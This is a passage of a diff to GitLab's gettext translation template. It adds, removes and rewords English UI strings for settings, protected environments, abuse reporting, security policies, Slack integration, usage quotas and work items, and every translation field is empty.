msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
